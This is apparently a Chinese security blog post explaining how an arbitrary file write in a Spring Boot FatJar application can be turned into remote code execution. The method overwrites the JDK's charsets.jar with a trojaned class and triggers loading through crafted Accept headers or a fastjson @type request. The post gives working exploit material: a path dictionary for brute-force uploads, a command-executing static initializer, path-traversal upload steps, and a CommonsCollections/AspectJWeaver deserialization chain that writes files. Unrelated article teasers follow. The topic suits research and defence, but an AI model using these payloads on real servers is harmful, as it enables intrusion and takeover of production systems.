Spring FatJar写文件到RCE分析

背景

现在生产环境部署 spring boot 项目一般都是将其打包成一个 FatJar,即把所有依赖的第三方 jar 也打包进自身的 app.jar 中,最后以 java -jar app.jar 形式来运行整个项目。

运行时项目的 classpath 包括 app.jar 中的 BOOT-INF/classes 目录和 BOOT-INF/lib 目录下的所有 jar,以及JAVA HOME下系统classpath的jar,无法在其运行的时候往 app.jar classpath 中增加文件。并且现阶段 spring boot 项目多以 RESTful API 接口形式向外提供服务,很少会动态解析 jsp 和其他外部模版文件,直接 webshell 文件的情况一般不会出现。

一个正在运行中的 spring boot 项目如果存在本地任意写文件漏洞,怎么升级成 RCE 漏洞 ?

比如fastjson写文件,AspectJWeaver写文件

通用方法基本就是通过写 linux crontab 计划任务文件、替换 so/dll 系统文件进行劫持等一些操作系统层面的东西来实现 RCE。实际环境下因为网络联通性、文件权限等各种条件限制,都不是特别好用

写文件路径

虽然无法在app.jar 中的 BOOT-INF/classes 目录和 BOOT-INF/lib 目录下写文件,但是可以写到JAVA HOME下系统classpath

但是JVM在运行时,不会在一开始运行就把所有的JDK HOME目录下自带的jar文件全部加载到类中,不然会有很大的性能损耗

而JDK在启动后,不会主动寻找HOME目录下新增的jar文件尝试加载,所以只能替换JDK HOME下原有的jar。而且还得找系统启动后没有进行过Opened操作的系统jar,如果已经Opened,会报文件正在使用:

什么是Opened操作?
在java的运行参数中加上 -XX:+TraceClassLoading,可以观察到控制台输出的类装载过程日志:
比如我随便跑个test

可以看到分别加载了rt.jar

程序代码中如果没有使用Charset.forName("GBK")类似的代码,默认就不会加载到/jre/lib/charsets.jar文件

question:为什么加载了charsets?

但是即使我这test为空,为什么还是加载了charsets?

Windows的JVM在初始化时会预加载某些字符集(如sun.nio.cs包中的类),以支持本地编码。其实验证也很简单,比如写个空demo:

public class test{
    public static void main(String[] args) throws IOException {
//        parseMediaTypes("text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

    }
}

在Charset.forName打上断点,可以看到加载了一堆charsetName,其中就有GBK

此时栈如下:

向上跟进可以看到在jdk.internal.util.EnvUils下调用native getEnvVar方法,返回了系统编码GBK

为什么会带调用这个getEnvVar呢?

发现JVM初始化会加载自定义的usagetracker.properties,而这个配置文件理论上是按照环境字符变量编码的字符

分析到这里,莫名发现2018年有个JAVA Usage Tracker windows本地提权漏洞,哈哈也算是串起来了

入口为PostVMInitHook

PostVMInitHook 是一种在 Java 虚拟机(JVM)初始化完成后执行的“钩子类”机制
JVM 的初始化阶段包括以下几个关键步骤:
  1. 加载和初始化核心类,例如 java.lang.Object 和 java.lang.String
  2. 创建 main 线程。
  3. 调用主类的 main 方法。

属于Java Agent那一块的

而且用-verbose:class参数可以看到PostVMInitHook触发在加载rt.jar的时候

也就是说windows下加载rt.jar时就会触发PostVMInitHook,进而加载charsets.jar

不过也只是个猜测,因为我不知道怎么跟进到调用PostVMInitHook的代码。总的来说看结果是Windows下会自动加载charsets.jar

question2:JAVA HOME在哪?

经测试,在linux默认配置下,是不会加载charsets.jar包的。 默认 LANG=zh_CN.UTF-8,当把 LANG改为zh_CN.GBK时才可以加载charsets.jar

  • tips:JDK HOME目录一般不是固定的,可以提前收集好JDK HOME的字典文件,爆破上传,如:
/usr/lib/jvm/jre/lib/
/usr/local/jdk/jre/lib/
/usr/local/openjdk-6/lib/
/usr/local/openjdk-7/lib/
/usr/local/openjdk-8/lib/
/usr/lib/jvm/java/jre/lib/
/usr/lib/jvm/jdk6/jre/lib/
/usr/lib/jvm/jdk7/jre/lib/
/usr/lib/jvm/jdk8/jre/lib/
/usr/lib/jvm/jdk-11.0.3/lib/
/usr/lib/jvm/jdk1.6/jre/lib/
/usr/lib/jvm/jdk1.7/jre/lib/
/usr/lib/jvm/jdk1.8/jre/lib/
/usr/local/openjdk6/jre/lib/
/usr/local/openjdk7/jre/lib/
/usr/local/openjdk8/jre/lib/
/usr/local/openjdk-6/jre/lib/
/usr/local/openjdk-7/jre/lib/
/usr/local/openjdk-8/jre/lib/
/mnt/jdk/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.6.0/jre/lib/
/usr/lib/jvm/jdk1.7.0/jre/lib/
/usr/lib/jvm/jdk1.8.0/jre/lib/
/usr/java/jdk1.8.0_111/jre/lib/
/usr/java/jdk1.8.0_121/jre/lib/
/usr/lib/jvm/java-6-oracle/lib/
/usr/lib/jvm/java-7-oracle/lib/
/usr/lib/jvm/java-8-oracle/lib/
/usr/lib/jvm/java-1.6.0/jre/lib/
/usr/lib/jvm/java-1.7.0/jre/lib/
/usr/lib/jvm/java-1.8.0/jre/lib/
/usr/lib/jvm/jdk1.7.0_51/jre/lib/
/usr/lib/jvm/jdk1.7.0_76/jre/lib/
/usr/lib/jvm/jdk1.8.0_60/jre/lib/
/usr/lib/jvm/jdk1.8.0_66/jre/lib/
/usr/lib/jvm/jdk1.8.0_74/jre/lib/
/usr/lib/jvm/jdk1.8.0_91/jre/lib/
/usr/lib/jvm/oracle_jdk6/jre/lib/
/usr/lib/jvm/oracle_jdk7/jre/lib/
/usr/lib/jvm/oracle_jdk8/jre/lib/
/usr/lib/jvm/jdk1.8.0_101/jre/lib/
/usr/lib/jvm/jdk1.8.0_102/jre/lib/
/usr/lib/jvm/jdk1.8.0_111/jre/lib/
/usr/lib/jvm/jdk1.8.0_131/jre/lib/
/usr/lib/jvm/jdk1.8.0_144/jre/lib/
/usr/lib/jvm/jdk1.8.0_151/jre/lib/
/usr/lib/jvm/jdk1.8.0_152/jre/lib/
/usr/lib/jvm/jdk1.8.0_161/jre/lib/
/usr/lib/jvm/jdk1.8.0_171/jre/lib/
/usr/lib/jvm/jdk1.8.0_172/jre/lib/
/usr/lib/jvm/jdk1.8.0_181/jre/lib/
/usr/lib/jvm/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.8.0_202/jre/lib/
/usr/lib/jvm/jdk8u202-b08/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/lib/
/usr/lib/jvm/jre-7-oracle-x64/lib/
/usr/lib/jvm/jre-8-oracle-x64/lib/
/usr/lib/jvm/zulu-6-amd64/jre/lib/
/usr/lib/jvm/zulu-7-amd64/jre/lib/
/usr/lib/jvm/zulu-8-amd64/jre/lib/
/usr/lib/jvm/java-6-oracle/jre/lib/
/usr/lib/jvm/java-7-oracle/jre/lib/
/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/jdk/instances/jdk1.6.0/jre/lib/
/usr/jdk/instances/jdk1.7.0/jre/lib/
/usr/jdk/instances/jdk1.8.0/jre/lib/
/usr/lib/jvm/j2re1.6-oracle/jre/lib/
/usr/lib/jvm/j2re1.7-oracle/jre/lib/
/usr/lib/jvm/j2re1.8-oracle/jre/lib/
/usr/lib/jvm/java-1.6.0-sun/jre/lib/
/usr/lib/jvm/java-1.7.0-sun/jre/lib/
/usr/lib/jvm/java-1.8.0-sun/jre/lib/
/usr/lib/jvm/java-6-openjdk/jre/lib/
/usr/lib/jvm/java-7-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk/jre/lib/
/usr/lib/jvm/j2sdk1.6-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.7-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.8-oracle/jre/lib/
/usr/lib/jvm/java-11-openjdk/jre/lib/
/usr/lib/jvm/java-12-openjdk/jre/lib/
/usr/lib/jvm/java-13-openjdk/jre/lib/
/usr/lib/jvm/java-1.6-openjdk/jre/lib/
/usr/lib/jvm/java-1.7-openjdk/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-9-openjdk-amd64/lib/
/usr/lib/jvm/jdk-6-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-7-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-x64/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/jre/lib/
/usr/lib/jvm/jre-7-oracle-x64/jre/lib/
/usr/lib/jvm/jre-8-oracle-x64/jre/lib/
/usr/lib/jvm/java-10-openjdk-amd64/lib/
/usr/lib/jvm/java-11-openjdk-amd64/lib/
/usr/lib/jvm/java-1.11.0-openjdk/jre/lib/
/usr/lib/jvm/java-1.12.0-openjdk/jre/lib/
/usr/lib/jvm/java-6-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.16/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.20/jre/lib/
/usr/lib/jvm/java-7-openjdk-i386/jre/lib/
/usr/lib/jvm/java-8-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-7-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.6.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.7.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.8.0-oracle-x64/jre/lib/
/usr/lib/jvm/oracle-java6-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java7-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java8-jdk-amd64/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibd-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibm-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.1-ibm-1.7.1/jre/lib/
/usr/lib/jvm/java-1.6.0-sun-1.6.0.11/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jre-1.6.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.7.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.8.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/java-1.11.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-arm-vfp-hflt/jre/lib/
/usr/lib64/jvm/java-1.6.0-openjdk-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.0-openjdk-1.7.0/jre/lib/
/usr/lib64/jvm/java-1.8.0-openjdk-1.8.0/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-amazon-corretto.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.45.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.65.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.75.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.79.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.91.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-3.b17.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-4.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-2.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-1.b13.el6_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.el7_1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.el6_7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-1.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-0.b15.el6_8.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-2.b15.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-0.b11.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-3.b12.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-3.b16.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-5.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-3.b14.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-3.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-2.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.222.b10-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.5.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.7.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.9.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101-2.6.6.1.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.131-2.6.9.0.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.10.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.141-2.6.10.1.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.0.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191-2.6.15.4.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.24.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.25.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.29.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.30.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.32.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.35.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.36.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.37.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.38.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.42.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.43.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.45.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-8.b13.39.39.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64-debug/jre/lib/

现在假设已经成功把charsets.jar写进了classpath,怎么去主动加载?

Trick1:Accept头

mutipart字符串触发

spring-web组件中的org.springframework.web.accept.HeaderContentNegotiationStrategy类调用了MediaType.parseMediaTypes

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-web</artifactId>
    <version>5.3.28</version>
</dependency>

这个方法从Header中提取Accept头,一般长这样:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

跟进parseMediaTypes,一个循环解析List

继续跟进parseMediaTypes(@Nullable String mediaTypes),使用MimeTypeUtils.tokenize分割tokens,然后循环调用parseMediaType

比如上面的Accept,经过tokenize的分离如下:

继续跟进到parseMediaType,调用了MimeTypeUtils.parseMimeType

终于跟到了parseMimeType(String mimeType),如果mimeType以multipart开头,调用parseMimeTypeInternal

比如上面的tokens[0]在这就进不去parseMimeTypeInternal

看下parseMimeTypeInternal。一堆解析后return了 MimeType

MimeType中,参数不为空会调用checkParamters

checkParamters调用了Charset.forName

了解到Accept头中,multipart对应的字段格式如下

multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式。

如下Accept能触发Charset.forName:

multipart/form-data;charset=evil;

调试code:

public class test{
    public static void main(String[] args) throws IOException {
        parseMediaTypes("multipart/form-data;charset=evil;");
    }
}

看到报错unsupport charset 'evil'就代表成功触发

继续看到Charset.forName,跟进到lookup

继续跟到lookup2

接连调用了standardProvider.charsetForNamelookupExtendedCharsetlookupViaProviders

先跟进到lookupExtendedCharset,看下这个静态字段extendedProvider哪来的

extendedProvider字段来自其同名的方法

该方法加载并返回了sun.nio.cs.ext.ExtendedCharsets

看到这个类的代码就明白,这是一个枚举所有字符类的集合

后续制作charsets.jar时,这个类需要保留

cache触发

可是网上的payload是Accept: text/html;charset=evil;触发到Charset.forName。我们从代码可以清楚地看到需要字符以multipart开头才会进入parseMimeTypeInternal

重新调了一下,发现还有个触发栈可以触发Charset.forName

看到parseMimeTypes的cachedMimeTypes

跟进到了ConcurrentLruCache.get,这里调用了MimeTypeUtils$$Labmda.apply,是个内部生成的匿名类,无法跟进,但是这里点步进就到了parseMimeTypeInternal

同理得到一样的效果

总结,下面两个Accept都能触发加载charsets.jar字符集

Accept: multipart/form-data;charset=IBM33722;
Accept: text/html;charset=IBM33722;

复现

先看看正常的charsets.jar,一般会在jdk/jre/lib下

直接解压了重新开个idea打开就行了

目录如下:

随便选一个sun.nio.cs.ext下的类进行覆盖就OK,为了保持最小体积,抛弃其他类(需要保留ExtendedCharsets类,不然无法加载其他类)。这里就选择覆盖sun.nio.cs.ext.IBM33722

Charset.forName加载类时,会完成类的初始化,进而触发static代码块

package sun.nio.cs.ext;

import java.util.UUID;


public class IBM33722 {
    static {
        fun();
    }

    public IBM33722(){
        fun();
    }

    private static java.util.HashMap<String, String> fun(){
        String[] command;
        String random = UUID.randomUUID().toString().replace("-","").substring(1,9);
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Mac OS")) {
            command = new String[]{"/bin/bash", "-c", "open -a Calculator"};
        } else if (osName.startsWith("Windows")) {
            command = new String[]{"cmd.exe", "/c", "calc"};
        } else {
            if(new java.io.File("/bin/bash").exists()){
                command = new String[]{"/bin/bash", "-c", "touch /tmp/charsets_test_" + random + ".log"};
            }else{
                command = new String[]{"/bin/sh", "-c", "touch /tmp/charsets_test_" + random + ".log"};
            }
        }
        try{
            Runtime.getRuntime().exec(command);
        }catch (Throwable e1){
            e1.printStackTrace();
        }
        return null;
    }


}

打包的charsets.jar挂在github

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/blob/main/release/charsets.jar

搭个靶机:

docker pull landgrey/spring-boot-fat-jar-write-file-rce:1.2
docker run -p --rm 18081:18081 landgrey/spring-boot-fat-jar-write-file-rce:1.2
启动容器时使用  --rm 参数,退出时自动删除docker。不然不能重复打,因为charsets.jar只会加载一遍

上传charsets.jar,抓个包,filename改为../../usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar

然后Accept改为任意一个payload访问任意一个路由

Accept: multipart/form-data;charset=IBM33722;
Accept: text/html;charset=IBM33722;

写进了charsets_test_random.log代表成功

但很明显,业务会被直接打崩,不利于隐蔽:

除此以外,作者还给出了其他5个场景去触发加载charset,适合于不在原生spring场景的去触发加载charset

Trick2:fastjson写文件+setter触发

无需spring场景,需要fastjson>=1.2.68

ParserConfig声明了fastjson的白名单,可以看到Charset类用MiscCodec反序列化器去处理

MiscCodec是老朋友了,直接看到deserialze方法,如果clazz是Charset.class的话,会调用Charset.forName

fastjson写文件就不测了,搭配commons-io或者JDK11原生写都可以

用上面的docker fastjson路由触发:

POST /fastjson HTTP/1.1
Content-Type: application/json

{
    "x":{
        "@type":"java.nio.charset.Charset",
        "val":"IBM33722"
    }
}

动图封面

Trick2.5:AspectJWeaver写文件

借助CC前半段触发org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#writeToPath去写文件,然后选上面的Accept触发方式去RCE

public class writeToPath_withCC {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("charsets.jar"));
        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor constructor = clazz.getDeclaredConstructor(String.class,int.class);
        constructor.setAccessible(true);
        HashMap storeableCachingMap = (HashMap) constructor.newInstance("./",1);
//        storeableCachingMap.put("writeToPathFILE",code);
        LazyMap lazy = (LazyMap) LazyMap.decorate(storeableCachingMap, new ConstantTransformer(code));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazy, "../../usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception
    {
        java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
        java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.close();
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
    {
        java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
        java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }
}

写文件的方式还有很多,比如SnakeYaml MarshalOutputStream写文件等

另外还有jackson、JDBC、和一些代码直接初始化类加载的场景。但是这些漏洞一般没有写文件搭配,实用性不是很大,感兴趣可以去作者github

https://github.com/LandGrey/spr

Trick3:SPI机制

snakeyaml反序列化也用到了SPI机制

本来这一章是有的,复现完觉得linux下默认没有jre/class目录,利用情况太少了,又给删了。就这样吧!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/959603.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

初阶数据结构:链表(二)

目录 一、前言 二、带头双向循环链表 1.带头双向循环链表的结构 &#xff08;1)什么是带头&#xff1f; (2)什么是双向呢&#xff1f; &#xff08;3&#xff09;那什么是循环呢&#xff1f; 2.带头双向循环链表的实现 &#xff08;1&#xff09;节点结构 &#xff08;2…

Java Web-Request与Response

在 Java Web 开发中&#xff0c;Request 和 Response 是两个非常重要的对象&#xff0c;用于在客户端和服务器之间进行请求和响应的处理&#xff0c;以下是详细介绍&#xff1a; Request&#xff08;请求对象&#xff09; Request继承体系 在 Java Web 开发中&#xff0c;通…

mysql 学习2 MYSQL数据模型,mysql内部可以创建多个数据库,一个数据库中有多个表;表是真正放数据的地方,关系型数据库 。

在第一章中安装 &#xff0c;启动mysql80 服务后&#xff0c;连接上了mysql&#xff0c;那么就要 使用 SQL语句来 操作mysql数据库了。那么在学习 SQL语言操作 mysql 数据库 之前&#xff0c;要对于 mysql数据模型有一个了解。 MYSQL数据模型 在下图中 客户端 将 SQL语言&…

微信小程序date picker的一些说明

微信小程序的picker是一个功能强大的组件&#xff0c;它可以是一个普通选择器&#xff0c;也可以是多项选择器&#xff0c;也可以是时间、日期、省市区选择器。 官方文档在这里 这里讲一下date picker的用法。 <view class"section"><view class"se…

【学习笔记】计算机网络(二)

第2章 物理层 文章目录 第2章 物理层2.1物理层的基本概念2.2 数据通信的基础知识2.2.1 数据通信系统的模型2.2.2 有关信道的几个基本概念2.2.3 信道的极限容量 2.3物理层下面的传输媒体2.3.1 导引型传输媒体2.3.2 非导引型传输媒体 2.4 信道复用技术2.4.1 频分复用、时分复用和…

总结8..

#include <stdio.h> // 定义结构体表示二叉树节点&#xff0c;包含左右子节点编号 struct node { int l; int r; } tree[100000]; // 全局变量记录二叉树最大深度&#xff0c;初始为0 int ans 0; // 深度优先搜索函数 // pos: 当前节点在数组中的位置&#xff0c…

多智能体中的理论与传统智能体理论有何异同?

多智能体系统与传统单智能体理论在多个方面存在异同&#xff0c;多智能体系统在理论上扩展了单智能体系统的研究范畴&#xff0c;强调智能体之间的交互和协作。随着人工智能、人机智能、人机环境系统智能的发展&#xff0c;多智能体系统在机器人群体、分布式计算、资源管理等领…

RKNN_C++版本-YOLOV5

1.背景 为了实现低延时&#xff0c;所以开始看看C版本的rknn的使用&#xff0c;确实有不足的地方&#xff0c;请指正&#xff08;代码借鉴了rk官方的仓库文件&#xff09;。 2.基本的操作流程 1.读取模型初始化 // 设置基本信息 // 在postprocess.h文件中定义&#xff0c;详见…

FlinkSql使用中rank/dense_rank函数报错空指针

问题描述 在flink1.16(甚至以前的版本)中&#xff0c;使用rank()或者dense_rank()进行排序时&#xff0c;某些场景会导致报错空指针NPE(NullPointerError) 报错内容如下 该报错没有行号/错误位置&#xff0c;无法排查 现状 目前已经确认为bug&#xff0c;根据github上的PR日…

csapp2.4节——浮点数

目录 二进制小数 十进制小数转二进制小数 IEEE浮点表示 规格化表示 非规格化表示 特殊值 舍入 浮点运算 二进制小数 类比十进制中的小数&#xff0c;可定义出二进制小数 例如1010.0101 小数点后的权重从-1开始递减。 十进制小数转二进制小数 整数部分使用辗转相除…

【2024年华为OD机试】 (A卷,200分)- 开放日活动、取出尽量少的球(JavaScriptJava PythonC/C++)

一、问题描述 题目描述 某部门开展Family Day开放日活动,其中有个从桶里取球的游戏,游戏规则如下: 有N个容量一样的小桶等距排开。每个小桶默认装了数量不等的小球,记录在数组 bucketBallNums 中。游戏开始时,要求所有桶的小球总数不能超过 SUM。如果小球总数超过 SUM,…

《安富莱嵌入式周报》第349期:VSCode正式支持Matlab调试,DIY录音室级麦克风,开源流体吊坠,物联网在军工领域的应用,Unicode字符压缩解压

